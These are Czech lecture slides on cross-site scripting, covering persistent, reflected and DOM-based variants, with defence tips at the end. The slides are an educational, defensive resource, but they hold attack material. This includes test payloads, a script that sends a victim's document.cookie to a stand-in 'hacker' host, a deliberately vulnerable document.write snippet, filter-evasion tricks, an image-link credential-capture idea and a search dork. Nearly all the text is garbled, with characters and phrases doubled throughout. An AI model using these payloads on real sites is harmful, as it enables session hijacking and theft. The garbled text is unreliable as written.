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SSííla XSS aneb la XSS aneb „„may the force be may the force be 
with you!with you!““

ProhlProhlíížžeečč nebo systnebo systéém obm oběěti nemusti nemusíí být být 
vvůůbec nbec nááchylný vchylný vůčůči i žžáádndnéé znznáámméé
zranitelnosti.zranitelnosti.
ZZáávislost na dvislost na důůvvěřěře v bezpee v bezpeččnněě napsanou napsanou 
a odlada odladěěnou navnou navššttíívenou strvenou stráánku.nku.
ImunnImunníí vvůčůči klasicki klasickéému zabezpemu zabezpeččeneníí
(SSL/TLS, firewall)(SSL/TLS, firewall)
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Princip XSSPrincip XSS

Typicky injekce HTML/javascriptTypicky injekce HTML/javascript
Interpretuje se v prohlInterpretuje se v prohlíížžeečči ui užživateleivatele
PersistentnPersistentníí vs. Nonvs. Non--persistentnpersistentníí kkóódd
Zranitelný server slouZranitelný server sloužžíí pouze jako pouze jako 
zprostzprostřředkovatel edkovatel úútotoččnnííkových zkových záámměěrrůů. . 
VyVyžžaduje 3 strany.aduje 3 strany.
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Jak je moJak je možžnnéé vyvolat XSSvyvolat XSS

1)1) ÚÚmysl autorizovanmysl autorizovanéého vlastnho vlastnííka strka stráánkynky
2)2) VloVložženeníí zzášáškodnkodnéého Javascriptu exploitacho Javascriptu exploitacíí

zranitelnosti szranitelnosti sííťťovovéé vrstvy nebo zranitelnosti vrstvy nebo zranitelnosti 
hostitelskhostitelskéého systho systéému s vyumu s využžititíímm

3)3) VloVložženeníím scriptu do vem scriptu do veřřejnejnéé oblasti webstroblasti webstráánek nek 
(diskusn(diskusníí ffóóra a spol.ra a spol.--viz pviz přřííklad Kyberia.sk)klad Kyberia.sk)

4)4) PodstrPodstrččeneníí specispeciáálnlněě upravenupravenéého URL odkazu ho URL odkazu 
oboběěti (nonti (non--persistentnpersistentníí nebo DOM based nebo DOM based –– viz viz 
2 p2 přřííklady)klady)
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Pohled Pohled úútotoččnnííkaka

PPáátrtráá po mpo míístech na strstech na stráánce, kde to, co nce, kde to, co 
vlovložžíí se po zpracovse po zpracováánníí dotazu odzrcadldotazu odzrcadlíí na na 
strstráánce (klasicky pnce (klasicky přřes search box).es search box).
NNááslednsledněě zkouzkoušíší otestovat mootestovat možžnost nost 
provedenprovedeníí JavaScriptu napJavaScriptu napřř.:.:

"><SCRIPT>alert('XSS positive')</SCRIPT>"><SCRIPT>alert('XSS positive')</SCRIPT>
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MoMožžnosti nosti úútotoččnnííkaka

OdchycenOdchyceníí relace (session hijacking)relace (session hijacking)
Odposlech stlaOdposlech stlaččených klených kláávesves
HackovHackováánníí vnitvnitřřnníí ssííttěě (typicky za NATem)(typicky za NATem)
UkradenUkradeníí historie navhistorie navššttíívených webvených webůů
DoSDoS
PPřřesmesměěrovrováánníí na web na web úútotoččnnííka ka 
(window.location=(window.location=‘‘URLURL’’))
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MoMožžnosti propagace nonnosti propagace non--
persistentnpersistentníího XSS v URLho XSS v URL

EE--mail (spam)mail (spam)
DiskusnDiskusníí ffóórara
Chat/IM (napChat/IM (napřř. ICQ). ICQ)
atdatd……daldalšíší nnáápady?pady?

NapadenNapadenéé URL vypadURL vypadáá ddůůvvěěryhodnryhodněě, , 
protoprotožže obsahuje validne obsahuje validníí DNS hostname DNS hostname 
existujexistujííccíího serveru.ho serveru.
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PPřřííklad simulovanklad simulovanéého ho úútokutoku

<script>alert(<script>alert(document.cookiedocument.cookie)</script>)</script>
zpzpůůsobsobíí zobrazenzobrazeníí cookie pomoccookie pomocíí poppop--up.up.
ÚÚtotoččnníík pok požžaduje zasladuje zasláánníí cookie na servercookie na server
<script><script>
var x=new Image();var x=new Image();
x.src=x.src=„„http://hacker"+document.cookie;http://hacker"+document.cookie;
</script></script>
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DOMDOM--Based XSS (zranitelnost na Based XSS (zranitelnost na 
stranstraněě serveru)serveru)

MMěějme njme náásledujsledujííccíí skript na stranskript na straněě serveruserveru

var url = window.location.href; var url = window.location.href; 
var pos = url.indexOf("title=") + 6; var pos = url.indexOf("title=") + 6; 
var len = url.length; var len = url.length; 
var title_string = url.substring(pos,len); var title_string = url.substring(pos,len); 
document.write(unescape(title_string));document.write(unescape(title_string));

(viz uk(viz ukáázka DOMzka DOM--based server vulnerability.html)based server vulnerability.html)
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DOMDOM--Based XSS (zranitelnost na Based XSS (zranitelnost na 
stranstraněě serveru)serveru)

http://server?product_id=100&titlehttp://server?product_id=100&title==
FooFoo#<SCRIPT>alert('XSS positive')#<SCRIPT>alert('XSS positive')
</SCRIPT></SCRIPT>

Na stranNa straněě serveru nedetekovatelný serveru nedetekovatelný JJ >>>>
Znak Znak ‘‘##’’ zpzpůůsobsobíí, , žže e řřetetěězec za tzec za tíímto mto 
znakem nenznakem neníí posposíílláán na server, ale je n na server, ale je 
zpracovzpracováán pouze lokn pouze lokáálnlněě na stranna straněě klienta.klienta.
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MoMožžnosti propagace persistentnnosti propagace persistentníího ho 
XSSXSS

FFóórara
KomentKomentáářř blogublogu
HodnocenHodnoceníí produktuproduktu
ChatovacChatovacíí mmíístnostistnosti
HTML eHTML e--mailymaily
Wiki strWiki stráánkynky
atdatd……daldalšíší nnáápady?pady?
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Výhody persistentnVýhody persistentníího XSS oproti ho XSS oproti 
nonnon--persistentnpersistentníímumu

Je nebezpeJe nebezpeččnněějjšíší -- jakmile objakmile oběťěť navnavššttíívvíí
infikovanou strinfikovanou stráánku dochnku docháázzíí k vykonk vykonáánníí kkóódu du 
(nen(neníí typicky potypicky požžadovadováána explicitnna explicitníí akce akce 
úútotoččnnííkaka--kliknutkliknutíí na odkaz)na odkaz)
JedinJedináá (mnou zn(mnou znáámmáá) efektivn) efektivníí obrana je obrana je 
vypnutvypnutíí vykonvykonáávváánníí JavaScriptu v prohlJavaScriptu v prohlíížžeečči pi přři i 
brouzdbrouzdáánníí ssííttíí. Zn. Znááte dalte dalšíší??
Je potJe potřřeba deba důůvvěřěřovat nejen informaovat nejen informaččnníímu zdroji, mu zdroji, 
ale i prostale i prostřředku, jak jsme se k danedku, jak jsme se k danéému zdroji mu zdroji 
dostali (URL zaslandostali (URL zaslanéé v ev e--mailu nedmailu nedůůvvěěryhodným ryhodným 
zdrojem mzdrojem můžůže obsahovat XSS)e obsahovat XSS)
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KamuflKamufláážže vkle vkláádaných funkdaných funkččnníích ch 
elementelementůů ppřřed filtraced filtracíí vstupuvstupu

ProklProklááddáánníí kkóódu bindu bináárnrníí nulou 0x00 [IE]nulou 0x00 [IE]
Substituce typicky napSubstituce typicky napřř. . ‘‘<<’’ a a ‘‘>>’’ (nap(napřř. . 
URL encoded %3c a %3e nebo pURL encoded %3c a %3e nebo přřiiččtenteníí
ordinordináálnlníí hodnoty 128 hodnoty 128 –– chyba IE pchyba IE přři i 
kkóódovdováánníí usus--ascii)ascii)
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PikoPikoššky na zky na záávvěěrr
momožžnost odchycennost odchyceníí autentizaautentizaččnníích ch úúdajdajůů
nepozorných unepozorných užživatel za pomoci odkazu na ivatel za pomoci odkazu na 
obrobráázek zek JJ (viz uk(viz ukáázka)zka)
Kde lze Kde lze úútok provtok provéést? st? –– na vna vššech mech míístech, kde stech, kde 
je moje možžnnéé vlovložžit odkaz na obrit odkaz na obráázek odkazujzek odkazujííccíí se se 
na externna externíí zdroj pomoczdroj pomocíí elementu elementu 
<img src=<img src=““utocnikovo.phputocnikovo.php””>>
UkUkáázka googlezka google--hackinguhackingu
(inurl:"robot.txt" | inurl:"robots.txt" )(inurl:"robot.txt" | inurl:"robots.txt" )
intext:disallow filetype:txt intext:disallow filetype:txt 



Soom session IVSoom session IV

ShrnutShrnutíí
VVííce nece nežž 50% (edit 50% (edit -- 90%) webu nen90%) webu neníí vvůčůči ti těěmto typmto typůům m 
úútoktokůů imunnimunníí

ÚÚTOKTOK
JavaScript jako onmouseOver, onmouseOut, v PDF[IE], JavaScript jako onmouseOver, onmouseOut, v PDF[IE], 
v PNG[IE], pouv PNG[IE], použžititíí bbíílých mlých mííst (0x08,0x09,0x00[IE]), jinst (0x08,0x09,0x00[IE]), jináá
interpretace znakinterpretace znakůů ‘‘>>’’, , ‘‘<<’’ URLURL--encodedencoded……

OBRANAOBRANA
Vstupy, testovat, testovat, testovat!!!Vstupy, testovat, testovat, testovat!!!
Betaverze ideBetaverze ideáálnlněě nechat provnechat prověřěřit nezit nezáávislými vislými 
pentesterypentestery
VypVypíínat JavaScript pnat JavaScript přři ni náávvššttěěvvěě nednedůůvvěěryhodnryhodnéého webu.ho webu.
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MyMyššlenka z praxelenka z praxe

llV pV přříípadpaděě odhalenodhaleníí zranitelnosti na zranitelnosti na 
renomovaných serverech je (ekonomicky) renomovaných serverech je (ekonomicky) 
výhodnvýhodněějjšíší o chybo chyběě informovat informovat 
administradministráátory netory nežž mméédia (nabdia (nabíídka dka 
zajzajíímavmavéé spoluprspoluprááce, finance, finanččnníí odmodměěna)na)
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DalDalšíší zdrojezdroje

ll Ha.ckers.orgHa.ckers.org
ll Owasp.orgOwasp.org
ll Watchfire.com (webcast archive)Watchfire.com (webcast archive)
ll Acunetix.comAcunetix.com

ll My ICQ 333My ICQ 333--508508--250250
mailto:xanthix@gmail.commailto:xanthix@gmail.com

mailto:xanthix@gmail.com
mailto:xanthix@gmail.com

